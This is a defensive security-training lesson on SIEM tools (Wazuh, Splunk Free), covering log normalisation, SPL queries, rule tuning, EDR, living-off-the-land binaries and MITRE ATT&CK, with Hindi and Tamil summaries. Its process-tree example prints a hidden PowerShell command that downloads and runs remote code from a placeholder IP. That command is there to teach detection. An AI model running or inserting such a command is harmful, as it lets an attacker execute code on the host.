← All lessons Stage 5 · Lesson 4
25 min

SIEM basics with Wazuh or Splunk Free

Stage 5 · Lesson 4 · 25 minutes · Requires Lessons 2 and 3


The one-line answer

A SIEM collects logs from everywhere into one searchable place and runs detection rules across them — and the reason that matters is that almost no attack is visible in a single log source.


Why you should care

Lessons 2 and 3 taught you to read one log at a time. Real intrusions do not happen in one log.

A phishing click is in the mail gateway. The malware running is in the endpoint log. The call home is in the proxy. The lateral movement is in Active Directory. Four systems, four teams, four formats — and the attack is only visible when you put them side by side.

That is what a SIEM is for. It is also, practically, the thing you will spend your shift inside. Job descriptions say "experience with Splunk / QRadar / Sentinel / Wazuh", and what they mean is: can you search, can you read a rule, can you tell a detection from a dashboard.

Both tools in this lesson's title are free to run at home. Wazuh is open source and includes endpoint agents. Splunk Free indexes up to 500 MB a day, which is far more than a home lab generates.


How it actually works

What a SIEM actually does

Four jobs, in order:

1. COLLECT     agents and forwarders ship logs from hosts to the SIEM
2. NORMALISE   different formats become common fields (src_ip, user, event)
3. DETECT      rules run continuously; matches become alerts
4. SEARCH      analysts query everything, across all sources, by time

Step 2 is the quiet one that makes everything else possible. A Linux SSH log says from 203.0.113.44. An Nginx log puts the IP first with no label. A Windows event calls it Source Network Address. After normalisation all three are src_ip, and now one search finds every appearance of an address across the whole estate.

A SIEM detects and reports. It does not block. Blocking is the job of the firewall, the EDR, the mail gateway — the controls feeding it. This trips people up in interviews.

Searching is the core skill

Dashboards are for managers. Analysts live in the search bar.

Splunk's language (SPL) reads left to right as a pipeline, which will feel familiar after Stage 1 bash:

index=windows EventCode=4625
| stats count by src_ip, user
| where count > 10
| sort -count

Find failed logons, count them by source and account, keep the noisy ones, sort.

That is grep | awk | sort | uniq -c from Lesson 2, over every machine at once. The pattern is the same: collapse, look at the shape, zoom in.

The spray-versus-brute-force distinction becomes one line each:

index=windows EventCode=4625 | stats dc(user) as accounts by src_ip | where accounts > 20

One source failing against more than twenty distinct accounts — that is spraying, and it was invisible in a per-account view.

Detection rules, and why they need tuning

A rule is a saved search plus a condition and a severity. Wazuh writes them as XML, Splunk as a scheduled search; the idea is identical.

Writing the rule is easy. Making it survive contact with a real environment is the hard part, because real environments are full of things that look like attacks and are not: the vulnerability scanner your own team runs, the backup job at 02:00, the developer who legitimately uses PowerShell all day.

Tuning means narrowing the rule to the behaviour that actually matters — excluding the scanner's IP, the service account, the known schedule. Keeping an untuned rule firing forty times a day is not caution. It is how alert fatigue is manufactured, and alert fatigue is what closes the genuine alert by reflex.

EDR: the log source that changed detection

Traditional antivirus answers one question: is this file known to be bad? It compares against signatures. If the file is new, or if there is no file at all, it has nothing to say.

EDR (Endpoint Detection and Response) records behaviour over time — processes starting, network connections opening, files being written, registry keys changing — and keeps that history so an analyst can ask what happened on this machine at 03:00 and follow the chain.

That difference is why detection moved toward behaviour. Consider:

Living off the land

Modern intrusions frequently involve no malware file at all. The attacker uses tools already present and trusted on the system:

ToolLegitimate purposeAbused for
powershell.exeAdministrationDownloading and running code in memory
certutil.exeCertificate managementDownloading files, decoding Base64
rundll32.exeRunning DLL functionsExecuting arbitrary code
wmic.exeSystem managementRemote execution on other hosts
mshta.exeRunning HTA filesExecuting remote script

This is living off the land. There is no malicious file for antivirus to find, because every binary involved ships with Windows and is signed by Microsoft.

So detection shifts from what is this file to how is this tool being used, and what started it.

Process trees: the parent is the detection

WINWORD.EXE
  └─ cmd.exe /c powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://198.51.100.7/a')

Every individual element here is normal. Word is normal. cmd.exe is normal. PowerShell is normal.

The relationship is not. Word opens documents; it does not spawn a command shell that launches a hidden PowerShell that downloads and executes remote code. That is the classic macro-based execution chain, and you do not need to analyse the payload to know this host needs isolating right now.

This is why EDR's parent-child tracking matters so much, and why Sysmon (free, from Microsoft) is worth installing even in a home lab — it adds process trees to Windows logging.

Indicators of compromise

An IOC is an observable that ties activity to known-bad: a file hash, a domain, an IP, a registry key.

Hashes rather than filenames. A filename is free to change and changes nothing about the file. A hash changes only if the bytes change, so it identifies the exact file:

sha256sum suspicious.exe              # Linux
Get-FileHash suspicious.exe           # PowerShell

Paste the result into VirusTotal or your threat intelligence platform and you get a verdict in seconds.

The weakness is the mirror image of the strength: alter one byte and the hash is new. That is trivial for an attacker, which is why hunting never stops at hashes. Hashes catch commodity malware; behaviour catches the rest.

MITRE ATT&CK: shared vocabulary

ATT&CK is a catalogue of attacker behaviour observed in the real world. It gives the field a common language, and it has two levels people constantly confuse:

  • A tactic is the attacker's goal. Initial Access, Persistence, Credential Access, Lateral Movement, Exfiltration.
  • A technique is a specific method of achieving it.

So: Credential Access is the tactic. Dumping credentials from LSASS memory is the technique. One goal, many possible techniques.

Why this matters practically:

It makes incidents describable. "They got in by phishing, stayed resident with a scheduled task, and moved sideways using stolen credentials" becomes a precise, comparable statement.

It exposes gaps. Map your detection rules onto the matrix and the empty cells are the behaviours you currently cannot see. That is how detection engineering is prioritised — not by guessing, but by looking at the holes.

Lateral Movement is the tactic worth recognising earliest: an attacker who has one machine using stolen credentials to reach others. In logs it looks like a burst of type 3 logons from one source to many destinations, or the same account authenticating to systems it has never touched. The moment you see it, the incident is no longer about one machine.


See it yourself

The quickest honest setup is Wazuh, because it includes the agent:

  1. Run the Wazuh server (the official Docker Compose setup is one command).
  2. Install the agent on a VM, or on your own machine.
  3. Open the dashboard and watch events arrive.

Then generate real detections:

# Several failed sudo attempts — watch the alert appear
sudo -k; sudo -S true <<< "wrongpassword"
sudo -k; sudo -S true <<< "wrongpassword"
sudo -k; sudo -S true <<< "wrongpassword"

Wazuh ships with rules for authentication failures, file integrity changes and much else. Find the alert, then open the rule that produced it and read it. That is the single most useful thing you can do in a home SIEM: not generating alerts, but reading the logic that generated them.

Then do the harder exercise: create a false positive deliberately. Run a script that trips a rule every minute. Watch the queue fill. Now tune the rule to exclude it. You have just done the most common real task in the job.

No budget for a VM? Splunk Free runs on a laptop. Ingest your own /var/log/auth.log and practise the SPL above against it.


How attackers abuse this

They exploit collection gaps. Attackers check what is being logged before acting. If PowerShell command lines are not recorded, PowerShell is the safest tool on the network. Your coverage map is their map too.

They hide in noisy rules. An environment with 900 alerts a day hides one more perfectly. Noisy detection protects the attacker — which is why tuning is a security control, not housekeeping.

They use signed, trusted binaries. Living off the land defeats file-based detection entirely. If your only question is "is this file bad", the answer will be no, correctly, while the intrusion proceeds.

They change one byte. Recompiling or padding a payload produces a new hash and defeats every hash-based block instantly. Hash blocking is a speed bump, not a wall.

They disable the agent. An EDR or SIEM agent that stops reporting is itself an event — and one of the most important alerts you can have is agent stopped sending data. Silence is not the same as nothing happening.

They move laterally with valid credentials. Once they hold a real account, their activity is indistinguishable from the user's by any file-based control. Only behaviour — unusual hours, unusual destinations, unusual volume — gives it away.


Common mistakes

"The SIEM will block it." It will not. It detects and reports. Blocking belongs to the controls feeding it.

Collecting everything. Licences are usually priced by volume, and noise costs money and attention. Collect what answers questions you will actually ask.

Dashboards as security. A wall of green charts shows what is being collected, not what is being detected. The rules do the work.

Leaving rules untuned. A rule firing forty times a day on authorised activity is training your team to close alerts without reading them.

"No alerts" means secure. It can equally mean nothing is being collected, or an agent died three weeks ago. Monitor the health of collection itself.

Stopping at the hash. If VirusTotal says clean, that means nobody has reported that exact file. It is not a verdict on the behaviour you are looking at.

Confusing tactic and technique. In an interview, "Credential Access is a tactic, dumping LSASS is a technique" is a small answer that signals you have actually used ATT&CK rather than read about it.


Check yourself

  1. Your SIEM shows no alerts for a server over the past month. Name two explanations other than "that server is secure".
  2. An EDR alert shows certutil.exe downloading a file from an external address. certutil.exe is a legitimate signed Microsoft binary. Why is this still worth investigating?
  3. You are asked to describe an intrusion in ATT&CK terms: the attacker phished a user, created a scheduled task to survive reboot, then used the stolen password to access three file servers. Name the tactic for each step.
Answers
  1. First: nothing is being collected from it — the agent died, the forwarder broke, or the server was never onboarded. Second: events are arriving but no rule covers the activity on that host, so there is nothing to fire. Both are extremely common, and both look identical to "secure" on a dashboard. This is why monitoring collection health is as important as monitoring for attacks.
  1. Because the question is not what is this file but how is this tool being used. certutil manages certificates; downloading arbitrary files from the internet is a documented abuse of it, used precisely because the binary is trusted and signed. The signature guarantees Microsoft wrote it, not that its current use is legitimate. Check the full command line, the parent process, and what was downloaded.
  1. Phishing the user is Initial Access. Creating a scheduled task to survive reboot is Persistence. Using stolen credentials to reach other servers is Lateral Movement — and note the credential theft itself was Credential Access, a separate tactic that happened in between. Naming them this way tells the next analyst exactly where to look without retelling the whole story.

Your lab

Challenge 09 — Log file investigation

Then do the real exercise: stand up Wazuh, trip a rule deliberately, read the rule that fired, and tune it.

→ Open Stage 1 labs


Summary in your language

हिन्दी सारांश (Hindi summary)

SIEM की बुनियाद — Wazuh या Splunk Free के साथ

SIEM हर जगह से logs इकट्ठा करके एक खोजने योग्य जगह पर लाता है और उन पर detection rules चलाता है।

यह ज़रूरी क्यों है: लगभग कोई भी हमला सिर्फ़ एक log source में नहीं दिखता। Phishing click mail gateway में, malware endpoint में, call-home proxy में, lateral movement AD में। चार systems — हमला तभी दिखता है जब चारों साथ रखें।

SIEM के चार काम:

  1. Collect — agents logs भेजते हैं
  2. Normalise — अलग-अलग formats एक जैसे fields बनते हैं (src_ip, user)
  3. Detect — rules चलते हैं, match होने पर alert
  4. Search — analyst सब कुछ एक साथ खोजता है

ज़रूरी बात: SIEM block नहीं करता। वह detect और report करता है। Block करना firewall, EDR, mail gateway का काम है। Interview में यह अक्सर पूछा जाता है।

Search ही असली कौशल है। Dashboard managers के लिए है।

index=windows EventCode=4625
| stats count by src_ip, user
| where count > 10

यह Stage 1 का grep | awk | sort | uniq -c ही है — बस पूरे network पर एक साथ।

EDR बनाम पुराना Antivirus:

  • Antivirus — "क्या यह file ज्ञात रूप से ख़राब है?" File नई हो तो कुछ नहीं कह सकता।
  • EDR — processes, connections, file changes का इतिहास रखता है, ताकि आप पूछ सकें "रात 3 बजे इस मशीन पर क्या हुआ?"

Living off the land — बिना malware के हमला:

हमलावर system में पहले से मौजूद, Microsoft द्वारा signed tools इस्तेमाल करते हैं — powershell.exe, certutil.exe, rundll32.exe, wmic.exe।

कोई malicious file नहीं, इसलिए antivirus के पास खोजने को कुछ नहीं। इसलिए सवाल बदल जाता है: यह file क्या है → यह tool कैसे इस्तेमाल हो रहा है, और इसे किसने शुरू किया।

Process tree — असली detection यहाँ है:

WINWORD.EXE
  └─ cmd.exe → powershell -w hidden → remote code download

अलग-अलग हर चीज़ सामान्य है। रिश्ता सामान्य नहीं। Word documents खोलता है, shell शुरू नहीं करता।

Hash क्यों, filename क्यों नहीं: Filename कभी भी बदला जा सकता है; hash तभी बदलता है जब file की bytes बदलें। पर एक byte बदलते ही नया hash — इसलिए hash commodity malware पकड़ता है, बाक़ी के लिए behaviour चाहिए।

MITRE ATT&CK:

  • Tactic = हमलावर का लक्ष्य (Credential Access, Lateral Movement)
  • Technique = उस लक्ष्य का तरीक़ा (LSASS memory से credentials निकालना)

ATT&CK से incident को सटीक शब्दों में बताया जा सकता है, और अपने detection rules को map करके खाली जगहें दिखती हैं — यानी वे व्यवहार जो आप अभी देख ही नहीं सकते।

आम गलतियाँ:

  • "SIEM रोक देगा" — नहीं, वह सिर्फ़ बताता है
  • सब कुछ collect करना — licence volume पर महँगा, और शोर
  • Rules tune न करना — alert fatigue बनता है
  • "कोई alert नहीं = सुरक्षित" — शायद agent ही बंद है
  • Hash पर रुक जाना — VirusTotal साफ़ कहे तो सिर्फ़ उस file के बारे में कहा
தமிழ் சுருக்கம் (Tamil summary)

SIEM அடிப்படைகள் — Wazuh அல்லது Splunk Free

SIEM எல்லா இடங்களிலிருந்தும் logs-ஐச் சேகரித்து ஒரே தேடக்கூடிய இடத்தில் வைத்து, அவற்றின் மீது detection rules இயக்குகிறது.

ஏன் முக்கியம்: எந்தத் தாக்குதலும் ஒரே log source-இல் தெரிவதில்லை. Phishing click mail gateway-இல், malware endpoint-இல், call-home proxy-இல், lateral movement AD-இல். நான்கையும் சேர்த்து வைத்தால்தான் தாக்குதல் தெரியும்.

SIEM-இன் நான்கு வேலைகள்:

  1. Collect — agents logs அனுப்புகின்றன
  2. Normalise — வெவ்வேறு வடிவங்கள் ஒரே fields ஆகும் (src_ip, user)
  3. Detect — rules இயங்கி alerts உருவாக்குகின்றன
  4. Search — analyst அனைத்தையும் ஒன்றாகத் தேடுகிறார்

முக்கியம்: SIEM தடுக்காது. அது கண்டறிந்து அறிவிக்கிறது. தடுப்பது firewall, EDR, mail gateway-இன் வேலை. நேர்காணலில் இது அடிக்கடி கேட்கப்படும்.

Search-தான் உண்மையான திறன். Dashboard மேலாளர்களுக்கானது.

index=windows EventCode=4625
| stats count by src_ip, user
| where count > 10

இது Stage 1-இன் grep | awk | sort | uniq -c தான் — ஆனால் முழு network-இலும் ஒரே நேரத்தில்.

EDR vs பழைய Antivirus:

  • Antivirus — "இந்த file அறியப்பட்ட தீயதா?" File புதிதாக இருந்தால் சொல்ல முடியாது.
  • EDR — processes, connections, file மாற்றங்களின் வரலாற்றை வைத்திருக்கும்.

Living off the land — malware இல்லாத தாக்குதல்:

தாக்குபவர்கள் கணினியில் ஏற்கனவே உள்ள, Microsoft கையொப்பமிட்ட tools-ஐப் பயன்படுத்துகிறார்கள் — powershell.exe, certutil.exe, rundll32.exe, wmic.exe.

தீய file இல்லை, எனவே antivirus-க்குக் கண்டுபிடிக்க ஒன்றுமில்லை. எனவே கேள்வி மாறுகிறது: இந்த file என்ன → இந்த tool எப்படிப் பயன்படுத்தப்படுகிறது, அதை எது தொடங்கியது.

Process tree — உண்மையான detection:

WINWORD.EXE
  └─ cmd.exe → powershell -w hidden → remote code download

தனித்தனியாக எல்லாம் இயல்பானவை. உறவு இயல்பானதல்ல. Word ஆவணங்களைத் திறக்கும், shell-ஐத் தொடங்காது.

Filename அல்ல, hash ஏன்: Filename எப்போது வேண்டுமானாலும் மாற்றலாம்; hash bytes மாறினால் மட்டுமே மாறும். ஆனால் ஒரு byte மாற்றினாலே புதிய hash — எனவே behaviour தேவை.

MITRE ATT&CK:

  • Tactic = தாக்குபவரின் இலக்கு (Credential Access, Lateral Movement)
  • Technique = அந்த இலக்கை அடையும் குறிப்பிட்ட வழி (LSASS memory-இலிருந்து credentials எடுப்பது)

உங்கள் detection rules-ஐ matrix-இல் map செய்தால், காலியான இடங்கள் நீங்கள் இப்போது பார்க்கவே முடியாத நடத்தைகள்.

பொதுவான தவறுகள்:

  • "SIEM தடுக்கும்" — இல்லை, அது அறிவிக்கிறது மட்டுமே
  • எல்லாவற்றையும் சேகரிப்பது — விலை உயர்வு மற்றும் சத்தம்
  • Rules tune செய்யாதது — alert fatigue உருவாகும்
  • "alert இல்லை = பாதுகாப்பானது" — agent நின்றிருக்கலாம்
  • Hash-இல் நிறுத்துவது — VirusTotal சொல்வது அந்த file பற்றி மட்டுமே

Want this summary in Malayalam, Telugu, Kannada or another language? Tell us — the most requested languages get added next.


What's next

The most common way an intrusion starts is still an email. Analysing one properly is a skill with its own method — and it is the task an L1 analyst is handed most often.

→ Lesson 5: Phishing email analysis